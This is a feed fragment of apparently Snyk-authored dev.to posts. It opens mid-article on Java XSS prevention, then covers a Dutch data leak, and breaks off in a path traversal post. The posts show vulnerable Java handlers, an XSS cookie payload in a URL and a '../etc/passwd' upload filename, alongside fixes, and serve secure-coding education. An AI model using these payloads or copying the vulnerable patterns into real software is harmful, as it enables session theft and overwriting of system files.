&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%253A%252F%252Fres.cloudinary.com%252Fsnyk%252Fimage%252Fupload%252Fv1682439081%252Fblog-preventing-xss-snyk-code-report.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%253A%252F%252Fres.cloudinary.com%252Fsnyk%252Fimage%252Fupload%252Fv1682439081%252Fblog-preventing-xss-snyk-code-report.jpg" alt="blog-preventing-xss-snyk-code-report" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;All three different scanning options show me that there are two distinct XSS security issues I need to address — with Snyk Code pinpointing their exact location in my code. Let’s break them down and see how we can mitigate them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reflective XSS 
&lt;/h3&gt;

&lt;p&gt;Reflective XSS is a type of XSS attack that occurs when a user injects malicious code into a web application that is then reflected back to the user as part of a response. In the example I provided, if the user input was not properly validated or sanitized before being written to the response, a malicious user could inject a script that would be executed by other users who view the web page. This type of XSS attack is often used to steal user data, modify website content, or perform other malicious actions.&lt;/p&gt;

&lt;p&gt;The code above retrieves the user's name from the HTTP request parameter and then writes it directly to the HttpServletResponse object using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&amp;lt;div class=\"panel-heading\"&amp;gt;&amp;lt;h1&amp;gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;param&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;/h1&amp;gt;&amp;lt;/div&amp;gt;"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This code is vulnerable to XSS attacks because it does not properly validate or sanitize the user input. For example, a malicious user could inject HTML or JavaScript code into the "name" parameter, which would then be executed by other users who view the web page.&lt;/p&gt;

&lt;p&gt;For instance: &lt;code&gt;.../direct?param=&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;/code&gt; might reveil your personal cookie information. This means we can also send this information to another server without you knowing it.  &lt;/p&gt;

&lt;p&gt;Snyk Code caught this mistake for me by pointing out the XSS on line 93.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stored XSS
&lt;/h3&gt;

&lt;p&gt;Stored XSS, on the other hand, is a type of XSS attack where the malicious code is stored on the server and then served to all users who access the affected page. In the example I provided, if the user input was not properly validated or sanitized and was instead stored in a database, a malicious user could inject a script that would be served to all users who view the affected page. This type of XSS attack can be particularly dangerous because it can affect a large number of users and may persist even after the initial injection has been fixed.&lt;/p&gt;

&lt;p&gt;The code above retrieves a product from the &lt;code&gt;ProductService&lt;/code&gt; and then displays them on the fields as part of the output string. However, this code is vulnerable to Stored XSS attacks because it does not properly validate or sanitize the input that comes from the database. Sanitization is particularly important if you aren’tt sure who has permission to write the database. For example, a malicious user could submit a product desciption that includes HTML or JavaScript code, which would be stored in the database and served to all users who visit the product view. &lt;/p&gt;

&lt;p&gt;Snyk Code pointed out this potential XSS problem on line 103, where we insert the &lt;code&gt;product.description&lt;/code&gt; into the output String without validating or sanitizing it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mitigating XSS vulnerabilities with Snyk Code
&lt;/h2&gt;

&lt;p&gt;To prevent XSS vulnerabilities, it is important to properly validate and sanitize user input before writing it to the response. Snyk Code already helps us by pointing out possible solutions.  One way to do this is to use a library like &lt;a href="https://commons.apache.org/proper/commons-text/" rel="noopener noreferrer"&gt;Apache Commons Text&lt;/a&gt; to encode the input and prevent malicious code from being executed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%253A%252F%252Fres.cloudinary.com%252Fsnyk%252Fimage%252Fupload%252Fv1682439081%252Fblog-preventing-xss-string-path.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%253A%252F%252Fres.cloudinary.com%252Fsnyk%252Fimage%252Fupload%252Fv1682439081%252Fblog-preventing-xss-string-path.jpg" alt="blog-preventing-xss-string-path" width="" height=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Using the &lt;code&gt;escapeHtml4()&lt;/code&gt; function, we can make sure that code in both reflective and stored XSS is escaped so that it will not be executed when loading the page.  &lt;/p&gt;

&lt;p&gt;Obviously, more libraries can perform similar escaping. In addition to &lt;a href="https://commons.apache.org/proper/commons-text/" rel="noopener noreferrer"&gt;Apache Commons Text&lt;/a&gt;, you can look at the &lt;a href="https://owasp.org/www-project-java-encoder/" rel="noopener noreferrer"&gt;OWASP Encoder&lt;/a&gt;. If you work with &lt;a href="https://spring.io/" rel="noopener noreferrer"&gt;Spring&lt;/a&gt;, you can also use Spring's &lt;a href="https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/web/util/HtmlUtils.html" rel="noopener noreferrer"&gt;HtmlUtils.htmlEscape&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;When using Apache Commons text, the properly escaped code could look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@GetMapping&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/direct"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;directLink&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nd"&gt;@RequestParam&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;param&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;HttpServletResponse&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
   &lt;span class="nc"&gt;Product&lt;/span&gt; &lt;span class="n"&gt;prod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;productService&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProductByName&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

   &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setContentType&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"text/html"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
   &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;writer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getWriter&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
   &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
   &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"&amp;lt;div class=\"panel-heading\"&amp;gt;&amp;lt;h1&amp;gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nc"&gt;StringEscapeUtils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;escapeHtml4&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;param&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;/h1&amp;gt;&amp;lt;/div&amp;gt;"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

   &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"&amp;lt;div class=\"panel-body\"&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
           &lt;span class="s"&gt;"&amp;lt;ul&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
           &lt;span class="s"&gt;"&amp;lt;li&amp;gt;%s&amp;lt;/li&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
           &lt;span class="s"&gt;"&amp;lt;li&amp;gt;%s&amp;lt;/li&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
           &lt;span class="s"&gt;"&amp;lt;li&amp;gt;%s&amp;lt;/li&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
           &lt;span class="s"&gt;"&amp;lt;/ul&amp;gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
           &lt;span class="s"&gt;"&amp;lt;/div&amp;gt;"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

   &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
             &lt;span class="nc"&gt;StringEscapeUtils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;escapeHtml4&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prod&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getDescription&lt;/span&gt;&lt;span class="o"&gt;()),&lt;/span&gt;
             &lt;span class="nc"&gt;StringEscapeUtils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;escapeHtml4&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prod&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProductType&lt;/span&gt;&lt;span class="o"&gt;()),&lt;/span&gt;
             &lt;span class="nc"&gt;StringEscapeUtils&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;escapeHtml4&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prod&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPrice&lt;/span&gt;&lt;span class="o"&gt;())));&lt;/span&gt;

   &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;foot&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Be careful with templating frameworks
&lt;/h3&gt;

&lt;p&gt;Templating frameworks like Thymeleaf can help protect agains XSS vulnerabilities. Thymeleaf is a popular templating engine for Java that includes built-in support for HTML escaping, which helps prevent XSS attacks by encoding any user input that is included in the rendered HTML.&lt;/p&gt;

&lt;p&gt;However it strongly depends on how you create the template. For example, here's how you might use Thymeleaf to render a product similar to the example before:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"product"&lt;/span&gt; &lt;span class="na"&gt;th:each=&lt;/span&gt;&lt;span class="s"&gt;"product : ${products}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&lt;/span&gt; &lt;span class="na"&gt;th:text=&lt;/span&gt;&lt;span class="s"&gt;"${product.name}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&lt;/span&gt; &lt;span class="na"&gt;th:text=&lt;/span&gt;&lt;span class="s"&gt;"${product.type}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&lt;/span&gt; &lt;span class="na"&gt;th:text=&lt;/span&gt;&lt;span class="s"&gt;"${product.pric}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;p&lt;/span&gt; &lt;span class="na"&gt;th:utext=&lt;/span&gt;&lt;span class="s"&gt;"${product.descriptiont}"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this example, the &lt;code&gt;th:text&lt;/code&gt; attributes will be escaped, but the &lt;code&gt;th:utext&lt;/code&gt; attribute won’t. This &lt;code&gt;th:utext&lt;/code&gt; attribute renders the comment text without escaping any HTML tags or special characters and is potentially vulnerable to XSS. When using a particular framework, knowing how certain elements behave is essential.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catching XSS before you deploy to production
&lt;/h2&gt;

&lt;p&gt;Preventing XSS attacks is a critical concern for developers working on Java web applications. Identifying and addressing XSS vulnerabilities as early as possible in the development process is essential. Although sanitizing user input can effectively mitigate XSS attacks, it may not always be sufficient.&lt;/p&gt;

&lt;p&gt;Look at resources like the &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" rel="noopener noreferrer"&gt;OWASP XSS Cheat Sheet&lt;/a&gt; and the &lt;a href="https://learn.snyk.io/lessons/xss/java/" rel="noopener noreferrer"&gt;Snyk Learn lesson on XSS&lt;/a&gt; to stay up-to-date with the latest threats and best practices for XSS prevention.&lt;/p&gt;

&lt;p&gt;Moreover, it's important to leverage the right tools to catch XSS mistakes and other security issues before they make it to production. Snyk Code is a valuable free tool for identifying potential security vulnerabilities early in the development cycle. By taking a proactive approach to XSS prevention and using the right resources and tools, developers can help ensure the security and integrity of their Java web applications.&lt;/p&gt;

</description>
      <category>java</category>
      <category>security</category>
      <category>devops</category>
    </item>
    <item>
      <title>Data leak in the Netherlands: What developers should learn from this</title>
      <dc:creator>Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</dc:creator>
      <pubDate>Mon, 03 Apr 2023 09:50:22 +0000</pubDate>
      <link>https://forem.com/snyk/data-leak-in-the-netherlands-what-developers-should-learn-from-this-431c</link>
      <guid>https://forem.com/snyk/data-leak-in-the-netherlands-what-developers-should-learn-from-this-431c</guid>
      <description>&lt;p&gt;Currently, there are a series of data leaks going on in the Netherlands. Blauw, a prominent market research firm in the Netherlands, reported a data leak earlier this week. Blauw offers qualitative market research for companies and events, and works with many big Dutch brands.&lt;/p&gt;

&lt;p&gt;The current leak of customer data has already resulted in personal data exposure for a substantial number of Dutch consumers. At this time, these are the known incidents related:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;VodafoneZiggo&lt;/strong&gt;, one of the biggest telecom, tv, and internet providers in NL: 700,000 customers exposed (reference &lt;a href="https://nltimes.nl/2023/03/29/data-700000-vodafoneziggo-customers-exposed-due-data-breach"&gt;&lt;em&gt;EN&lt;/em&gt;&lt;/a&gt;, &lt;a href="https://www.nu.nl/tech/6257296/ook-vodafoneziggo-getroffen-door-datalek-gegevens-700000-klanten-op-straat.html"&gt;&lt;em&gt;NL&lt;/em&gt;&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;NS&lt;/strong&gt;, the Dutch National Railways_: 780,000 customers exposed (reference &lt;a href="https://nltimes.nl/2023/03/28/dutch-railway-ns-warns-780000-customers-data-breach"&gt;&lt;em&gt;EN&lt;/em&gt;&lt;/a&gt;, &lt;a href="https://www.nu.nl/tech/6257189/ns-waarschuwt-780000-reizigers-voor-phishingmails-na-mogelijk-datalek.html"&gt;&lt;em&gt;NL&lt;/em&gt;&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Vriend van Amstel Live&lt;/strong&gt;, a concert format by the Heineken company: 22,000 customers exposed (reference &lt;a href="https://www.nu.nl/tech/6257419/gegevens-duizenden-bezoekers-vrienden-van-amstel-live-op-straat-door-datalek.html"&gt;&lt;em&gt;NL&lt;/em&gt;&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With the variety of brands that Blauw does market research for, these numbers are likely just the tip of the iceberg.. However, some clients — like Albert Heijn, Etos, bol.com, and Vattenfall —  report that they were not affected by the data breach.&lt;/p&gt;

&lt;h2&gt;
  
  
  What can developers learn from data leaks like this?
&lt;/h2&gt;

&lt;p&gt;As we do not yet know the reason for the data leak and Blauw has refused to disclose their software supplier, there’s not much sense speculating. However, we can still learn a lot from a data breach like this. The population of the Netherlands is only 17.5 million people — which makes the above numbers substantial! The effect will likely be massive and certainly qualifies as national news. The newspaper “Algemeen Dagblad” &lt;a href="https://www.ad.nl/tech/mogelijk-miljoenen-nederlanders-slachtoffer-%20van-datalek-probleem-groter-dan-wij-denken~a095beda/"&gt;writes&lt;/a&gt; that possible millions of Dutch citizens are likely victims of this data leak.&lt;/p&gt;

&lt;p&gt;Data leaks can create major security concerns, and as developers of software systems we need to take our responsibility seriously. When we create solutions for our applications, these solutions need to be scalable, maintainable and secure. Working in autonomous engineering teams is efficient, but a secure mindset while developing is critical nowadays. Just creating a solution that works isn’t good enough anymore.&lt;/p&gt;

&lt;p&gt;Oddly, issues like cross-site scripting and SQL injection are still among the top vulnerabilities in modern-day applications and have been for years — which likely means that developers are generally not taking enough security measures or haven’t educated enough to tackle these problems.&lt;/p&gt;

&lt;p&gt;Next to this is the supply chain. The code developers write is just a small fraction of the actual applications. Open source frameworks and libraries often do the heavy lifting and help ensure rapid development. However, just like cars and buildings in the physical world, open source software needs maintenance. Strategies like updating libraries to newer versions should be a regular exercise. &lt;/p&gt;

&lt;h2&gt;
  
  
  What should developers do?
&lt;/h2&gt;

&lt;p&gt;Thankfully, there’s a lot developers can do to protect their applications from similar data leaks..&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Educate yourself on common vulnerabilities.&lt;br&gt;
&lt;a href="https://learn.snyk.io/?_gl=1*1c7wb1c*_ga*MjA0Njc3MjE3NC4xNjUwNDAxNjk3*_ga_X9SH3KP7B4*MTY4MDUxNDMyMi40MS4xLjE2ODA1MTQ0NTYuMC4wLjA."&gt;Snyk Learn&lt;/a&gt; is a great free platform with multiple lessons and learning paths like the &lt;a href="https://learn.snyk.io/learning-paths/owasp-top-10/javascript/?_gl=1*1c7wb1c*_ga*MjA0Njc3MjE3NC4xNjUwNDAxNjk3*_ga_X9SH3KP7B4*MTY4MDUxNDMyMi40MS4xLjE2ODA1MTQ0NTYuMC4wLjA."&gt;OWASP top 10 path&lt;/a&gt; covering common vulnerabilities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use tooling to scan your custom code for security vulnerabilities.&lt;br&gt;
&lt;a href="https://snyk.io/product/snyk-code/"&gt;Snyk Code&lt;/a&gt; a great free option that can analyze your code in your &lt;a href="https://docs.snyk.io/integrations/ide-tools?_gl=1*1k182m2*_ga*MjA0Njc3MjE3NC4xNjUwNDAxNjk3*_ga_X9SH3KP7B4*MTY4MDUxNDMyMi40MS4xLjE2ODA1MTQ0NTYuMC4wLjA."&gt;IDE&lt;/a&gt; or in your pipeline to catch issues like &lt;a href="https://snyk.io/blog/mitigating-path-traversal-java-snyk-code/"&gt;path traversal&lt;/a&gt; or &lt;a href="https://snyk.io/blog/sql-injection-cheat-sheet/"&gt;SQL injection&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Correctly review code. Make ample time and the correct personnel are available to complete code reviews. Check this &lt;a href="https://snyk.io/blog/secure-code-review/"&gt;cheat sheet&lt;/a&gt; for more information&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Keep your dependencies and frameworks up to date. Check out this &lt;a href="https://snyk.io/blog/best-practices-for-managing-java-dependencies/"&gt;blogpost&lt;/a&gt; to learn more about creating a solid dependency management strategy. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Refine your build and release system so you can easily rebuild and redeploy, or distribute, your application once a vulnerability pops up.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Scan your open source libraries for known vulnerabilities. &lt;a href="https://snyk.io/product/open-source-security-management"&gt;Snyk Open Source&lt;/a&gt; is a great place to start. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Monitor your application when in production for new vulnerabilities.&lt;br&gt;
Problems get discovered over time. Keep an eye on what’s in production right from your CLI with &lt;a href="https://docs.snyk.io/snyk-cli/commands/monitor?_gl=1*s89rh0*_ga*MjA0Njc3MjE3NC4xNjUwNDAxNjk3*_ga_X9SH3KP7B4*MTY4MDUxNDMyMi40MS4xLjE2ODA1MTQ0NTYuMC4wLjA."&gt;Snyk Monitor&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As a developer, you have a responsibility to ensure the code you write is secure since you’re the one holding the steering wheel and implementing the solutions.&lt;/p&gt;

&lt;p&gt;It’s impossible to fully prevent data leaks like this one due to the multitude of circumstances that drive them. However, most breaches and data leaks are created by a combination of common security problems. Reducing the number of potential attack vectors is the responsibility of everyone working with and on it, including developers. Collaboration and communication around secure coding practices keeps security incidents — and news headlines — to a minimum.&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>dataleak</category>
    </item>
    <item>
      <title>Mitigating path traversal vulns in Java with Snyk Code</title>
      <dc:creator>Brian Vermeer 🧑🏼‍🎓🧑🏼‍💻</dc:creator>
      <pubDate>Thu, 09 Mar 2023 16:17:34 +0000</pubDate>
      <link>https://forem.com/snyk/mitigating-path-traversal-vulns-in-java-with-snyk-code-4g80</link>
      <guid>https://forem.com/snyk/mitigating-path-traversal-vulns-in-java-with-snyk-code-4g80</guid>
      <description>&lt;p&gt;Path traversal is a type of security vulnerability that can occur when a web application or service allows an attacker to access server files or directories that are outside the intended directory structure. This can lead to the unauthorized reading or modification of sensitive data. In the context of file uploads, a path traversal vulnerability can occur when an application fails to properly validate the file path specified by the user, which can allow the attacker to upload a malicious file with a filename that gives them access to restricted files on the server.&lt;/p&gt;

&lt;p&gt;Preventing path traversal in file uploads is crucial for the security of Java applications, as it helps to protect sensitive data and prevent unauthorized access to restricted files and directories. In this blog post, we'll explore path traversal in file uploads in more detail and show you how to prevent this vulnerability in Java applications with Snyk Code.&lt;/p&gt;

&lt;p&gt;Whether you're a developer or simply interested in learning more about security in Java, this post will provide you with information and insights to help keep your Java applications secure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding path traversal in file uploads
&lt;/h2&gt;

&lt;p&gt;Imagine an application that allows users to upload profile pictures. The application stores the profile pictures in a directory on the server, such as &lt;code&gt;/images/profiles/&lt;/code&gt;. If the application fails to validate the file name specified by the user properly, an attacker could upload a malicious file with a file name like &lt;code&gt;../../etc/passwd&lt;/code&gt;. This would allow the attacker to access sensitive system files outside the intended directory structure.&lt;/p&gt;

&lt;p&gt;Take the example below from a Spring Boot application using Thymeleaf.&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;

&lt;span class="nd"&gt;@PostMapping&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/uploadimage"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;uploadImage&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Model&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nd"&gt;@RequestParam&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"image"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nc"&gt;MultipartFile&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
   &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOriginalFilename&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;replace&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;" "&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"_"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
   &lt;span class="kt"&gt;var&lt;/span&gt; &lt;span class="n"&gt;fileNameAndPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Paths&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="no"&gt;UPLOAD_DIRECTORY&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
   &lt;span class="nc"&gt;Files&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fileNameAndPath&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
   &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"msg"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Uploaded images: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
   &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;"person/upload"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Web forms are a very common to upload images. When uploading, we use the &lt;code&gt;originalFilename&lt;/code&gt; from the incoming &lt;code&gt;MultipartFile&lt;/code&gt;. If we intercept and inspect the HTTP post call, we see that &lt;code&gt;filename&lt;/code&gt; is just metadata in this HTTP request shown on line 24.&lt;/p&gt;

&lt;p&gt;With the right tools, it is easy to change the filename to anything we want! When we change the filename to &lt;code&gt;../../../../../../../etc/passwd&lt;/code&gt;, our code will upload the file to &lt;code&gt;images/profiles/../../../../../../../etc/passwd&lt;/code&gt;. The path will be traversed to the root, and the file will be overwriting &lt;code&gt;/etc/passwd&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Snyk Code detects path traversal.
&lt;/h2&gt;

